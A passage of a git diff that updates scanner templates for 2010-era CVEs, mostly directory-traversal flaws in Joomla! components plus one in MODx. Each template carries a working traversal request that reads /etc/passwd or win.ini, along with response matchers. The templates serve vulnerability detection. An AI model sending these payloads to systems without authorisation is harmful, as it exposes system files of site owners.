File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the Code-Garage NoticeBoard (com_noticeboard) component 1.3 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - remediation: | - Update to the latest version of Joomla! Component NoticeBoard or apply the necessary patches to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/12427 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1658 + - https://www.cvedetails.com/cve/CVE-2010-1658 - http://www.vupen.com/english/advisories/2010/1007 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/58176 + - http://secunia.com/advisories/39600 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1658 - cwe-id: CWE-22 - epss-score: 0.01751 - epss-percentile: 0.86555 - cpe: cpe:2.3:a:code-garage:com_noticeboard:1.3:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: code-garage - product: com_noticeboard - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_noticeboard&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022030ea5c49abe831eb8d0f105317b90416e8aaebca35e0dc06759a8b2ddf53044f022100d93e3f386bb55af86208ce1e7677719e6bef74f1ed11770da92c0e7d1ea12dd6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/27 diff --git a/poc/cve/CVE-2010-1714.yaml b/poc/cve/CVE-2010-1714.yaml index 47386d8fa9..1dacc59f33 100644 --- a/poc/cve/CVE-2010-1714.yaml +++ b/poc/cve/CVE-2010-1714.yaml @@ -3,42 +3,28 @@ id: CVE-2010-1714 info: name: Joomla! Component Arcade Games 1.0 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the Arcade Games (com_arcadegames) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: | - Apply the latest security patches or updates provided by the Joomla! project to fix the LFI vulnerability in the Arcade Games component. reference: - https://www.exploit-db.com/exploits/12168 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1714 + - https://www.cvedetails.com/cve/CVE-2010-1714 - http://packetstormsecurity.org/1004-exploits/joomlaarcadegames-lfi.txt - - http://www.vupen.com/english/advisories/2010/0860 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/57683 + - http://secunia.com/advisories/39413 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1714 - cwe-id: CWE-22 - epss-score: 0.01751 - epss-percentile: 0.86555 - cpe: cpe:2.3:a:dev.pucit.edu.pk:com_arcadegames:1.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: dev.pucit.edu.pk - product: com_arcadegames - tags: cve,cve2010,joomla,lfi,edb,packetstorm + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_arcadegames&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4b0a00483046022100ff992dcf7c67c9c19a07da85fa6c257c148a72ee78d332f2e8c84c2cf0f852180221009dcfb7d1f001758047a6dbb423c6d53c1bd119634b4caebbb2c994fa4d78e614:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/28 diff --git a/poc/cve/CVE-2010-1715.yaml b/poc/cve/CVE-2010-1715.yaml index fef2f5715f..bf5001c629 100644 --- a/poc/cve/CVE-2010-1715.yaml +++ b/poc/cve/CVE-2010-1715.yaml @@ -3,27 +3,41 @@ id: CVE-2010-1715 info: name: Joomla! Component Online Exam 1.5.0 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the Online Examination (aka Online Exam or com_onlineexam) component 1.5.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: | + Update to the latest version of Joomla! Component Online Exam and apply any available patches or security updates. reference: - https://www.exploit-db.com/exploits/12174 - - https://www.cvedetails.com/cve/CVE-2010-1715 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1715 - http://packetstormsecurity.org/1004-exploits/joomlaonlineexam-lfi.txt + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57677 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P + cvss-score: 6.8 cve-id: CVE-2010-1715 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.01242 + epss-percentile: 0.83919 + cpe: cpe:2.3:a:pucit.edu:com_onlineexam:1.5.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: pucit.edu + product: com_onlineexam + tags: joomla,lfi,edb,packetstorm,cve,cve2010 -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_onlineexam&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/03/10 +# digest: 4b0a00483046022100d908f26ec540679f7a8acb24652b5be07ab244ba336422da74dd91f1d54d1e6f022100ccf7fcc1e0fd462246dcf355787773e486e1b50feae3e929e085b1540b65d2db:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1858.yaml b/poc/cve/CVE-2010-1858.yaml index cc7bdf6aaf..f25a5c5109 100644 --- a/poc/cve/CVE-2010-1858.yaml +++ b/poc/cve/CVE-2010-1858.yaml @@ -3,40 +3,28 @@ id: CVE-2010-1858 info: name: Joomla! Component SMEStorage - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the SMEStorage (com_smestorage) component before 1.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/11853 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1858 + - https://www.cvedetails.com/cve/CVE-2010-1858 + - http://web.archive.org/web/20210121194940/https://www.securityfocus.com/bid/38911/ - http://packetstormsecurity.org/1003-exploits/joomlasmestorage-lfi.txt - - https://exchange.xforce.ibmcloud.com/vulnerabilities/57108 + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1858 - cwe-id: CWE-22 - epss-score: 0.01155 - epss-percentile: 0.8323 - cpe: cpe:2.3:a:gelembjuk:com_smestorage:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: gelembjuk - product: com_smestorage - tags: cve2010,joomla,lfi,edb,packetstorm,cve + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_smestorage&controller=../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a0046304402202dada679a2bff3c95766abae6e19520d63f69bfb8ea8b545c1b6db3a121c6adc0220783daf948e448646fd658052a1b1c6fe627b316cebaa79c7a8ef97c69288e12a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/15 diff --git a/poc/cve/CVE-2010-1875.yaml b/poc/cve/CVE-2010-1875.yaml index 4d2f868cdf..c6107d6c82 100644 --- a/poc/cve/CVE-2010-1875.yaml +++ b/poc/cve/CVE-2010-1875.yaml @@ -1,28 +1,43 @@ id: CVE-2010-1875 + info: name: Joomla! Component Property - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the Real Estate Property (com_properties) component 3.1.22-03 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. + remediation: | + To remediate this vulnerability, it is recommended to update the affected Joomla! component to the latest version or apply the necessary patches provided by the vendor. reference: - https://www.exploit-db.com/exploits/11851 - - https://www.cvedetails.com/cve/CVE-2010-1875 - - http://secunia.com/advisories/39074 - - http://web.archive.org/web/20210121194939/https://www.securityfocus.com/bid/38912/ + - https://nvd.nist.gov/vuln/detail/CVE-2010-1875 + - http://www.exploit-db.com/exploits/11851 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57110 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P + cvss-score: 7.5 cve-id: CVE-2010-1875 - tags: cve,cve2010,joomla,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.01222 + epss-percentile: 0.83755 + cpe: cpe:2.3:a:com-property:com_properties:3.1.22-03:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: com-property + product: com_properties + tags: cve,cve2010,joomla,lfi,edb + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_properties&controller=../../../../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/03/16 +# digest: 490a004630440220791117c5c72d2846d365eb8f50b247e063bc2ea273dcafb6d5b15f35945335d80220346d682a860e12ab96be072140da4a9be1f17de649e0e82d12e9d6cef0086446:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1955.yaml b/poc/cve/CVE-2010-1955.yaml index 14fdbe9ec3..a534e50a02 100644 --- a/poc/cve/CVE-2010-1955.yaml +++ b/poc/cve/CVE-2010-1955.yaml @@ -5,26 +5,37 @@ info: author: daffainfo severity: high description: A directory traversal vulnerability in the Deluxe Blog Factory (com_blogfactory) component 1.1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12238 - - https://www.cvedetails.com/cve/CVE-2010-1955 - - http://web.archive.org/web/20210121195552/https://www.securityfocus.com/bid/39508/ - - http://web.archive.org/web/20140803091440/http://secunia.com/advisories/39473/ - remediation: Upgrade to a supported version. + - https://nvd.nist.gov/vuln/detail/CVE-2010-1955 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57846 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P + cvss-score: 7.5 cve-id: CVE-2010-1955 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.01671 + epss-percentile: 0.86244 + cpe: cpe:2.3:a:thefactory:com_blogfactory:1.1.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: thefactory + product: com_blogfactory + tags: lfi,edb,cve,cve2010,joomla -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/15 +# digest: 4a0a004730450221009c2079e94f005f7f3763e4ce5cb076c1500076cff92ffbdb9acd0a600547114302206c79554283ddc07d8bf509a4ae1737c6d77c1efd192fc53b8738c33d28df19af:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1980.yaml b/poc/cve/CVE-2010-1980.yaml index 38ac6603e0..fafe2c3157 100644 --- a/poc/cve/CVE-2010-1980.yaml +++ b/poc/cve/CVE-2010-1980.yaml @@ -1,29 +1,43 @@ id: CVE-2010-1980 + info: name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion author: daffainfo severity: high - description: A directory traversal vulnerability in joomlaflickr.php in the Joomla Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + description: A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12085 - - https://www.cvedetails.com/cve/CVE-2010-1980 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1980 - http://packetstormsecurity.org/1004-exploits/joomlaflickr-lfi.txt - http://www.exploit-db.com/exploits/12085 - remediation: Upgrade to a supported version. + - http://bitbucket.org/roberto.aloi/joomla-flickr/changeset/64ebf6b25030 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P + cvss-score: 7.5 cve-id: CVE-2010-1980 - tags: cve,cve2010,joomla,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.02401 + epss-percentile: 0.88731 + cpe: cpe:2.3:a:roberto_aloi:com_joomlaflickr:1.0.3:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: roberto_aloi + product: com_joomlaflickr + tags: lfi,edb,packetstorm,cve,cve2010,joomla + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/02/17 +# digest: 4a0a00473045022057969c62b97a708652a8f0d4035e0c91e2a69ea39da1202904d8b31bfc464d73022100ea992ef7df6d55dfb18bbbc3bd43c3d94cfdd49df443d06a2502c6d4f29c3184:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1981.yaml b/poc/cve/CVE-2010-1981.yaml index 00c934810c..fb5f4976ee 100644 --- a/poc/cve/CVE-2010-1981.yaml +++ b/poc/cve/CVE-2010-1981.yaml @@ -3,26 +3,37 @@ id: CVE-2010-1981 info: name: Joomla! Component Fabrik 2.0 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the Fabrik (com_fabrik) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12087 - - https://www.cvedetails.com/cve/CVE-2010-1981 + - https://nvd.nist.gov/vuln/detail/CVE-2010-1981 - http://packetstormsecurity.org/1004-exploits/joomlafabrik-lfi.txt - http://www.exploit-db.com/exploits/12087 - remediation: Upgrade to a supported version. + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57571 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P + cvss-score: 6.8 cve-id: CVE-2010-1981 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.00656 + epss-percentile: 0.77171 + cpe: cpe:2.3:a:fabrikar:fabrik:2.0:*:*:*:*:joomla\!:*:* + metadata: + max-request: 1 + vendor: fabrikar + product: fabrik + framework: joomla\! + tags: cve,cve2010,joomla,lfi,edb,packetstorm -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_fabrik&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -30,5 +41,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/02/17 +# digest: 4a0a00473045022066c38b904f0453633ccf85f078d60a0aee3b7859203c5fac198805e2dec1624a0221008511a9777b1bd5fce9d0e331bd2c5949d580e22710c0b06b54f63db4cbd410fc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1982.yaml b/poc/cve/CVE-2010-1982.yaml index e9879732fb..e552f04fea 100644 --- a/poc/cve/CVE-2010-1982.yaml +++ b/poc/cve/CVE-2010-1982.yaml @@ -3,26 +3,33 @@ id: CVE-2010-1982 info: name: Joomla! Component JA Voice 2.0 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the JA Voice (com_javoice) component 2.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12121 - - https://www.cvedetails.com/cve/CVE-2010-1982 - - http://web.archive.org/web/20140723233933/http://secunia.com/advisories/39202/ - - http://web.archive.org/web/20210121195400/https://www.securityfocus.com/bid/39343/ - remediation: Upgrade to a supported version. + - https://nvd.nist.gov/vuln/detail/CVE-2010-1982 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-1982 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.00477 + epss-percentile: 0.73053 + cpe: cpe:2.3:a:joomlart:com_javoice:2.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlart + product: com_javoice + tags: cve,cve2010,joomla,lfi,edb -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -30,5 +37,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/02/17 +# digest: 490a0046304402200ad907819c1c3cc2b5d41a90e4e2f02be82512652a8cc45be726a868faabff9502201d5838df755e413391e6fbeec8e3d73e17dca559de05e7538752620e415066cf:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-2122.yaml b/poc/cve/CVE-2010-2122.yaml index ba1feffdec..61089b0254 100644 --- a/poc/cve/CVE-2010-2122.yaml +++ b/poc/cve/CVE-2010-2122.yaml @@ -1,19 +1,17 @@ id: CVE-2010-2122 info: - name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval + name: Joomla! Component simpledownload 0.9.5 - Local File Disclosure author: daffainfo severity: high - description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php. + description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php. + remediation: Upgrade to a supported version. reference: - https://www.exploit-db.com/exploits/12623 - https://www.cvedetails.com/cve/CVE-2010-2122 - - https://www.exploit-db.com/exploits/12618 - - http://web.archive.org/web/20210624180854/https://www.securityfocus.com/bid/40192 - remediation: Upgrade to a supported version. + tags: cve,cve2010,joomla,lfi classification: cve-id: CVE-2010-2122 - tags: cve,cve2010,joomla,lfi requests: - method: GET diff --git a/poc/cve/CVE-2010-2680.yaml b/poc/cve/CVE-2010-2680.yaml index 11fd7f2d03..702d3650ef 100644 --- a/poc/cve/CVE-2010-2680.yaml +++ b/poc/cve/CVE-2010-2680.yaml @@ -3,35 +3,26 @@ id: CVE-2010-2680 info: name: Joomla! Component jesectionfinder - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the JExtensions JE Section/Property Finder (jesectionfinder) component for Joomla! allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the view parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/14064 - - https://nvd.nist.gov/vuln/detail/CVE-2010-2680 + - https://www.cvedetails.com/cve/CVE-2010-2680 - http://packetstormsecurity.org/1006-exploits/joomlajesectionfinder-lfi.txt - - https://exchange.xforce.ibmcloud.com/vulnerabilities/59796 + - http://web.archive.org/web/20210121201853/https://www.securityfocus.com/bid/41163/ + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P - cvss-score: 6.8 cve-id: CVE-2010-2680 - cwe-id: CWE-22 - epss-score: 0.00826 - epss-percentile: 0.79995 - cpe: cpe:2.3:a:harmistechnology:com_jesectionfinder:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: harmistechnology - product: com_jesectionfinder - tags: cve,cve2010,joomla,lfi,edb,packetstorm + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/propertyfinder/component/jesectionfinder/?view=../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -39,4 +30,5 @@ http: - type: status status: - 200 -# digest: 4a0a0047304502201d3c11f99e43e98c2d000153529ebc7b7ddb302739f1f15bc717125a57074fa7022100cfa9182ccf000e1cbdfc4468f14a64ed07b88ebb4c3d93753509ebd6abc1f199:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/CVE-2010-2682.yaml b/poc/cve/CVE-2010-2682.yaml index 3993df8ad9..c719e57407 100644 --- a/poc/cve/CVE-2010-2682.yaml +++ b/poc/cve/CVE-2010-2682.yaml @@ -5,34 +5,22 @@ info: author: daffainfo severity: high description: A directory traversal vulnerability in the Realtyna Translator (com_realtyna) component 1.0.15 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. + remediation: Upgrade to a supported version. reference: - https://www.exploit-db.com/exploits/14017 - - https://nvd.nist.gov/vuln/detail/CVE-2010-2682 - - http://packetstormsecurity.org/1004-exploits/joomlarealtyna-lfi.txt - - http://www.exploit-db.com/exploits/14017 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/57647 + - https://www.cvedetails.com/cve/CVE-2010-2682 + tags: cve,cve2010,joomla,lfi classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P - cvss-score: 7.5 cve-id: CVE-2010-2682 - cwe-id: CWE-22 - epss-score: 0.00826 - epss-percentile: 0.79995 - cpe: cpe:2.3:a:realtyna:com_realtyna:1.0.15:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: realtyna - product: com_realtyna - tags: cve,cve2010,joomla,lfi,edb,packetstorm -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_realtyna&controller=../../../../../../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -40,4 +28,5 @@ http: - type: status status: - 200 -# digest: 4b0a00483046022100f4c15a0be34b39da52c05aaf25c58bcef926024d8fa2e4093bb1e4e118337e16022100d422fdbdb82e5c21b5591df67070bfb286d4760b019225633805e1d1613b0e4f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/CVE-2010-2920.yaml b/poc/cve/CVE-2010-2920.yaml index 306165b0ac..15d7ac01d5 100644 --- a/poc/cve/CVE-2010-2920.yaml +++ b/poc/cve/CVE-2010-2920.yaml @@ -1,28 +1,42 @@ id: CVE-2010-2920 + info: name: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the Foobla Suggestions (com_foobla_suggestions) component 1.5.1.2 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php. + remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/12120 - - https://www.cvedetails.com/cve/CVE-2010-2920 + - https://nvd.nist.gov/vuln/detail/CVE-2010-2920 - http://www.vupen.com/english/advisories/2010/1844 - remediation: Upgrade to a supported version. + - https://exchange.xforce.ibmcloud.com/vulnerabilities/57660 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P + cvss-score: 6.8 cve-id: CVE-2010-2920 - tags: cve,cve2010,joomla,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.03527 + epss-percentile: 0.9055 + cpe: cpe:2.3:a:foobla:com_foobla_suggestions:1.5.1.2:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: foobla + product: com_foobla_suggestions + tags: cve,cve2010,joomla,lfi,edb + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_foobla_suggestions&controller=../../../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/02/17 +# digest: 4a0a00473045022100aed714fe817345d3afcf4f3f218a0f4bf30b452844b0ffc3bcc942d36da1f24b022025ad69d98e4da71d2f5aabbe3ebd4f796a376130f66e9d1eee8b960def587bf6:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-3203.yaml b/poc/cve/CVE-2010-3203.yaml index 17042d0b25..82386d99c8 100644 --- a/poc/cve/CVE-2010-3203.yaml +++ b/poc/cve/CVE-2010-3203.yaml @@ -8,7 +8,7 @@ info: reference: - https://www.exploit-db.com/exploits/14845 - https://www.cvedetails.com/cve/CVE-2010-3203 - - http://secunia.com/advisories/41187 + - http://web.archive.org/web/20150105095919/http://secunia.com:80/advisories/41187/ - http://www.exploit-db.com/exploits/14845 remediation: Upgrade to a supported version. classification: diff --git a/poc/cve/CVE-2010-4617.yaml b/poc/cve/CVE-2010-4617.yaml index f172f0e5d8..6b8918ae9b 100644 --- a/poc/cve/CVE-2010-4617.yaml +++ b/poc/cve/CVE-2010-4617.yaml @@ -4,14 +4,10 @@ info: name: Joomla! Component JotLoader 2.2.1 - Local File Inclusion author: daffainfo severity: high - description: A directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. + description: Directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php. reference: - https://www.exploit-db.com/exploits/15791 - https://www.cvedetails.com/cve/CVE-2010-4617 - - http://packetstormsecurity.org/files/view/96812/joomlajotloader-lfi.txt - remediation: Upgrade to a supported version. - classification: - cve-id: CVE-2010-4617 tags: cve,cve2010,joomla,lfi requests: @@ -24,10 +20,8 @@ requests: - type: regex regex: - - "root:.*:0:0:" + - "root:.*:0:0" - type: status status: - 200 - -# Enhanced by mp on 2022/02/17 diff --git a/poc/cve/CVE-2010-4977.yaml b/poc/cve/CVE-2010-4977.yaml index 7a0538e9ad..3071d2b568 100644 --- a/poc/cve/CVE-2010-4977.yaml +++ b/poc/cve/CVE-2010-4977.yaml @@ -5,34 +5,22 @@ info: author: daffainfo severity: high description: A SQL injection vulnerability in menu.php in the Canteen (com_canteen) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the mealid parameter to index.php. - remediation: Upgrade to the latest version to mitigate this vulnerability. + remediation: Upgrade to a supported version. reference: - https://www.exploit-db.com/exploits/34250 - - https://nvd.nist.gov/vuln/detail/CVE-2010-4977 - - http://www.salvatorefresta.net/files/adv/Canteen%20Joomla%20Component%201.0%20Multiple%20Remote%20Vulnerabilities-04072010.txt - - http://packetstormsecurity.org/1007-exploits/joomlacanteen-lfisql.txt - - http://securityreason.com/securityalert/8495 + - https://www.cvedetails.com/cve/CVE-2010-4977 + tags: cve,cve2010,joomla,lfi classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P - cvss-score: 7.5 cve-id: CVE-2010-4977 - cwe-id: CWE-89 - epss-score: 0.0016 - epss-percentile: 0.52553 - cpe: cpe:2.3:a:miniwork:com_canteen:1.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: miniwork - product: com_canteen - tags: joomla,lfi,edb,packetstorm,cve,cve2010 -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -40,4 +28,5 @@ http: - type: status status: - 200 -# digest: 4b0a00483046022100fa236589483e2d61c96fe5208e6f336e05ebdfccf05ec6f71220489e47c011c3022100a3de94b8ecc7c0797bb8dee82ff31786463bd0d74725a068c9eb2d5a277ee9fc:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/02/18 diff --git a/poc/cve/CVE-2010-5278.yaml b/poc/cve/CVE-2010-5278.yaml index 8e4a920285..7bc17d9f24 100644 --- a/poc/cve/CVE-2010-5278.yaml +++ b/poc/cve/CVE-2010-5278.yaml @@ -3,46 +3,33 @@ id: CVE-2010-5278 info: name: MODx manager - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled. - remediation: | - Apply the latest patches and updates provided by MODx to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/34788 - - https://nvd.nist.gov/vuln/detail/CVE-2010-5278 + - https://www.cvedetails.com/cve/CVE-2010-5278 - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt - - http://modxcms.com/forums/index.php/topic,55104.0.html - - http://modxcms.com/forums/index.php/topic,55105.msg317273.html + - http://secunia.com/advisories/41638 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N - cvss-score: 4.3 cve-id: CVE-2010-5278 - cwe-id: CWE-22 - epss-score: 0.104 - epss-percentile: 0.94409 - cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: modx - product: modx_revolution - tags: cve,cve2010,lfi,edb,packetstorm + tags: cve,cve2010,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00" matchers-condition: and matchers: + - type: status + status: + - 200 - type: word - part: body words: - "bit app support" - "fonts" - "extensions" condition: and + part: body - - type: status - status: - - 